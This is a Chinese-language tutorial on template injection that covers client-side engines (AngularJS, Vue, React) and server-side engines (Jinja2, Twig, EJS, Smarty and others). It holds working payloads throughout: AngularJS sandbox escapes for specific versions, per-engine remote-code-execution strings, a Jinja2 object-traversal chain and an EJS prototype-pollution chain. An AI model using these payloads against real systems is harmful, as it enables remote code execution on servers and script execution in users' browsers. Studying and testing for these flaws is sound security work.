目录


一、模板引擎概述

服务端 vs 客户端

类型引擎执行环境主要威胁
客户端AngularJS, Vue, React(JSX)浏览器XSS, CSTI
服务端Jinja2, Twig, EJS, Pug服务器SSTI → RCE
同构Next.js, Nuxt两者组合攻击

核心风险

模板注入的本质:用户输入被当作模板代码解析并执行

正常:Hello {{ user.name }}  →  Hello Alice
攻击:Hello {{ 7*7 }}        →  Hello 49  (表达式被执行了!)

二、客户端模板注入 (CSTI)

核心原理

// 危险模式:用户输入拼接到模板
const template = '<div>Hello ' + userInput + '</div>';  // 拼接!
const result = templateEngine.compile(template)(data);
 
// 安全模式:输入作为数据
const template = '<div>Hello {{name}}</div>';           // 固定模板
const result = templateEngine.compile(template)({name: userInput});

CSTI vs XSS

CSTIXSS
需要 通常需要
CSP限制可能绕过受限
危害XSS同级(执行任意JS)会话窃取等
利用条件模板注入点HTML注入点

通用检测方法

// 检测模板表达式是否被执行
// 输入:{{7*7}}
// 如果页面渲染 49 → 存在CSTI
 
// 输入:{{constructor.constructor('alert(1)')()}}
// 如果弹窗 → 严重CSTI

三、AngularJS沙箱与绕过

AngularJS模板语法

<!-- 表达式 -->
<div>{{ 7 * 7 }}</div>
 
<!-- 指令 -->
<div ng-bind="expression"></div>
<div ng-init="a=1;b=2"></div>

沙箱绕过历史

AngularJS 1.x 有多层沙箱保护,但被多次绕过:

v1.0.1 - v1.1.5:

{{constructor.constructor('alert(1)')()}}

v1.2.0 - v1.2.18:

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

v1.3.0 - v1.3.19:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}

v1.4.0 - v1.4.8:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

v1.5.0 - v1.5.8:

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

v1.6.0+:沙箱完全移除
Angular 1.6+ 不再有沙箱保护。任何 {{expression}} 都是潜在的CSTI。

Angular CSTI检测

# 基本探测
{{7*7}}           → 如果页面显示49 = CSTI
{{constructor}}   → 如果弹出[object Function] = 严重

# CSP绕过(在script-src 'self'下)
# Angular仍可执行表达式的JS
{{$on.constructor('alert(1)')()}}

# 通用利用(Angular 1.6+)
{{constructor.constructor('alert(1)')()}}

四、Vue.js模板注入

Vue模板系统

<!-- HTML模板 -->
<div id="app">
  <p>{{ message }}</p>
  <p v-html="rawHtml"></p>  <!-- dangerous! -->
</div>
 
<script>
const app = new Vue({
  data: {
    message: 'Hello',
    rawHtml: '<span style="color:red">Red Text</span>'
  }
});
</script>

Vue CSTI场景

场景1:v-html(已知危险)

<!-- 用户控制 rawHtml 的值 -->
<div v-html="userInput"></div>
<!-- 等同于 innerHTML -->

场景2:动态模板编译

// 如果用户控制了 template 选项
new Vue({
  template: '{{' + userInput + '}}',  // 用户输入拼入模板
  // userInput = constructor.constructor('alert(1)')()
});

场景3:动态组件渲染

// 如果组件路径由用户控制
<component :is="userControlledComponent"></component>
// 可能导致未预期的组件实例化

Vue SSR (服务端渲染)

// Nuxt.js / Vue SSR 增加了SSTI风险
// 用户输入在服务端被渲染为模板
const html = await renderer.renderToString(app);
// 如果数据中包含模板表达式,可能在服务端被执行

五、React JSX注入

React的XSS防御

React默认对JSX中的所有插入内容进行HTML转义:

const userInput = '<img src=x onerror=alert(1)>';
return <div>{userInput}</div>;
// 渲染结果:<div>&lt;img src=x onerror=alert(1)&gt;</div>
// XSS被防止!

dangerouslySetInnerHTML

// 唯一的React XSS入口
<div dangerouslySetInnerHTML={{__html: userInput}} />
// 如果 userInput 由用户控制 → DOM XSS

React中的CSTI风险

// 场景1:动态JSX(罕见但危险)
const Component = eval(`() => <div>${userInput}</div>`);
 
// 场景2:服务端的ReactDOMServer
// ReactDOMServer.renderToString() 在Node.js端
// 如果输入没有被转义,可能导致SSTI
 
// 场景3:与模板库混用
// 如果React页面嵌入了其他模板引擎的表达式

六、服务端模板注入 (SSTI)

各引擎测试payload

引擎测试RCE payload
Jinja2 (Python){{7*7}}{{''.__class__.__mro__[2].__subclasses__()}}
Twig (PHP){{7*7}}{{_self.env.registerUndefinedFilterCallback('exec')}}
EJS (Node)<%= 7*7 %><%= process.mainModule.require('child_process').execSync('id') %>
Pug (Node)#{7*7}#{function(){localLoad=global.process.mainModule.constructor._load;...}()
FreeMarker (Java)${7*7}<#assign ex="freemarker.template.utility.Execute"?new()>${ex('id')}
Velocity (Java)#set($x=7*7)$x#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))...
Smarty (PHP){7*7}{system('id')}
Mako (Python)${7*7}<% import os %>${os.popen('id').read()}

Jinja2利用链

# 基础探测
{{ 7*7 }}                    # 49 —— 确认SSTI
 
# 读取配置
{{ config }}                 # Flask配置(可能含SECRET_KEY)
 
# Python对象遍历
{{ ''.__class__ }}           # <class 'str'>
{{ ''.__class__.__mro__ }}   # 继承链
{{ ''.__class__.__mro__[2] }}  # <class 'object'>
 
# 寻找os模块
{{ ''.__class__.__mro__[2].__subclasses__() }}  # 所有object子类
# 找到 <class 'subprocess.Popen'>
# 或 <class 'os._wrap_close'>
 
# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[X]('id', shell=True, stdout=-1).communicate() }}

EJS利用链

// 基础
<%= 7*7 %>
 
// 全局对象
<%= global.process.mainModule.require('child_process').execSync('id') %>
 
// 污染链(EJS < 3.1.7)
// 1. 先污染 Object.prototype
// 2. 设置 outputFunctionName
Object.prototype.outputFunctionName = 
  "x;process.mainModule.require('child_process').execSync('id');s";

七、检测与利用方法论

检测流程

1. 多项式探测
   输入:{{7*7}} ${7*7} #{7*7} <%= 7*7 %> {{7*'7'}}
   观察:是否被当作表达式执行

2. 错误探测
   输入:{{undefined_var}} ${{<%[%'"}}%\
   观察:错误消息中是否暴露了模板引擎名称

3. 上下文分析
   输入出现在页面哪个位置?
   - HTML内容中 → {{表达式}}
   - 属性值中 → 先闭合引号
   - JavaScript字符串中 → 先闭合字符串

4. 升级到RCE
   根据引擎类型选择合适的利用链

Smarty SSTI检测树

# SSTI检测决策树
if 输入被当作表达式执行:
    确定引擎类型
    if Jinja2/Twig: → 对象遍历 → 子类枚举 → import os
    if EJS/Pug:     → process.mainModule → child_process
    if FreeMarker:  → Execute类 → Runtime.exec()
    if Velocity:    → Class.forName('java.lang.Runtime')
    if Smarty:      → {system('id')} 或 {php}system('id'){/php}

八、红队视角总结

CSTI/SSTI攻击矩阵

引擎环境检测RCE难度实战频率
AngularJS 1.x客户端{{7*7}}低(1.6+无沙箱)
Vue v-html客户端HTML注入
Jinja2服务端{{7*7}}
Twig服务端{{7*7}}
EJS服务端<%= 7*7 %>
FreeMarker服务端${7*7}
Pug服务端#{7*7}
React JSX客户端/服务端JSX注入

工具

工具说明
tplmap自动化SSTI检测和利用(Python)
SSTImapTplmap的现代替代品
what-the-tpl模板引擎指纹识别
Burp插件: Backslash Powered Scanner智能SSTI检测

返回 JavaScript 总目录 | 前端基础总目录